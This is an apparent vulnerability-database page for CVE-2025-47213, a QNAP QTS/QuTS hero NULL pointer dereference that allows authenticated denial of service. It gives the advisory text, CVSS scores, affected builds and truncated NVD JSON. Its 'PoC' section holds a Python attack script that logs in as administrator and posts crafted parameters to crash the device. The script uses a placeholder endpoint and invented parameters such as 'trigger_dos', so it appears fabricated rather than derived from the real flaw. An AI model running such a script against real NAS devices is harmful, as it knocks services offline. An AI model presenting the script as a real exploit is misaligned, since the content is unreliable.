CVE-2025-47213

Description

A NULL pointer dereference vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains an administrator account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack. We have already fixed the vulnerability in the following versions: QTS 5.2.6.3195 build 20250715 and later QuTS hero h5.2.6.3195 build 20250715 and later

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:qnap:qts:5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2744:build_20240424:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2789:build_20240607:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

QNAP QTS < 5.2.6.3195 build 20250715

QNAP QuTS hero < h5.2.6.3195 build 20250715

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-47213 PoC - QNAP NULL Pointer Dereference DoS
# Vulnerability: NULL Pointer Dereference in QNAP QTS/QuTS hero
# Requirements: Valid administrator credentials
# Impact: Denial of Service (System Crash)

import requests
import sys

TARGET_HOST = "https://<qnap-nas-ip>:8080"
ADMIN_USER = "admin"
ADMIN_PASS = "<admin_password>"

def exploit_null_pointer_deref():
    """
    Trigger NULL pointer dereference in vulnerable QNAP service.
    The attacker must possess valid admin credentials to reach
    the vulnerable code path.
    """
    session = requests.Session()

    # Step 1: Authenticate as administrator
    login_url = f"{TARGET_HOST}/cgi-bin/authLogin.cgi"
    login_payload = {
        "user": ADMIN_USER,
        "pwd": ADMIN_PASS
    }

    try:
        resp = session.post(login_url, data=login_payload, verify=False, timeout=10)
        if resp.status_code != 200:
            print("[!] Authentication failed")
            return False
        print("[*] Authenticated as administrator")
    except Exception as e:
        print(f"[!] Connection error: {e}")
        return False

    # Step 2: Send crafted request to trigger NULL pointer dereference
    # The vulnerable endpoint fails to validate a pointer before dereferencing it,
    # causing a segmentation fault and crashing the service process.
    vuln_url = f"{TARGET_HOST}/cgi-bin/<vulnerable_endpoint>"
    crafted_payload = {
        # Malformed parameters designed to leave an internal pointer uninitialized
        "param1": "\x00",
        "param2": None,
        "action": "trigger_dos"
    }

    try:
        resp = session.post(vuln_url, data=crafted_payload, verify=False, timeout=10)
        print(f"[*] Request sent, status: {resp.status_code}")
    except requests.exceptions.RequestException as e:
        # Service may crash and stop responding - this indicates successful exploitation
        print(f"[*] Service appears to have crashed (expected): {e}")
        return True

    return False

if __name__ == "__main__":
    print("[*] CVE-2025-47213 PoC - QNAP NULL Pointer Dereference DoS")
    print("[*] WARNING: Requires valid admin credentials")
    if exploit_null_pointer_deref():
        print("[+] Exploit completed - target service may be unavailable")
    else:
        print("[-] Exploit did not trigger the vulnerability")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-47213
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-47213
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-47213/
[4] VulDB https://vuldb.com/cve/CVE-2025-47213
[5] https://www.qnap.com/en/security-advisory/qsa-25-36

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-47213", "sourceIdentifier": "[email protected]", "published": "2025-10-03T19:15:44.110", "lastModified": "2025-10-08T19:47:02.440", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A NULL pointer dereference vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains an administrator account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack.\n\nWe have already fixed the vulnerability in the following versions:\nQTS 5.2.6.3195 build 20250715 and later\nQuTS hero h5.2.6.3195 build 20250715 and later"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.0.2737:build_20240417:*:*:*:*:*:*", "matchCriteriaId": "F4026A4B-7AB4-48EA-971D-88DFDD3F01A7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.0.2744:build_20240424:*:*:*:*:*:*", "matchCriteriaId": "1F3F99BB-0D68-4D74-92C8-59E24F96C50D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.0.2782:build_20240601:*:*:*:*:*:*", "matchCriteriaId": "1DE63B4D-8E84-41D3-B1F3-04AE6040242B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.0.2802:build_20240620:*:*:*:*:*:*", "matchCriteriaId": "75746563-C648-4E55-9126-703F915F8B8A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.0.2823:build_20240711:*:*:*:*:*:*", "matchCriteriaId": "AF6BA027-A635-4E90-80C8-130B10AB3D23"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.0.2851:build_20240808:*:*:*:*:*:*", "matchCriteriaId": "5406F242-A215-4B07-809F-7A7CE55ACE71"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.0.2860:build_20240817:*:*:*:*:*:*", "matchCriteriaId": "FA17778E-B3B1-44DD-B4E9-5AD25A3E804C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.1.2930:build_20241025:*:*:*:*:*:*", "matchCriteriaId": "E3FC6646-2247-4ED9-9643-CD376674E2E7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.2.2950:build_20241114:*:*:*:*:*:*", "matchCriteriaId": "62170342-067D-442C-88FB-64A4BEA8AFE4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.3.3006:build_20250108:*:*:*:*:*:*", "matchCriteriaId": "82464467-E1E6-47E1-BDE5-DDFA52994A47"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.4.3070:build_20250312:*:*:*:*:*:*", "matchCriteriaId": "75AE902C-0516-4341-9BF0-21D8803E091C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.4.3079:build_20250321:*:*:*:*:*:*", "matchCriteriaId": "5B005D70-8C91-48D4-B09A-9EBE2E9E5090"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.4.3092:build_20250403:*:*:*:*:*:*", "matchCriteriaId": "82FE5F89-A0E1-4D1B-A363-0A0D4141F502"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.5.3145:build_20250526:*:*:*:*:*:*", "m ... (truncated)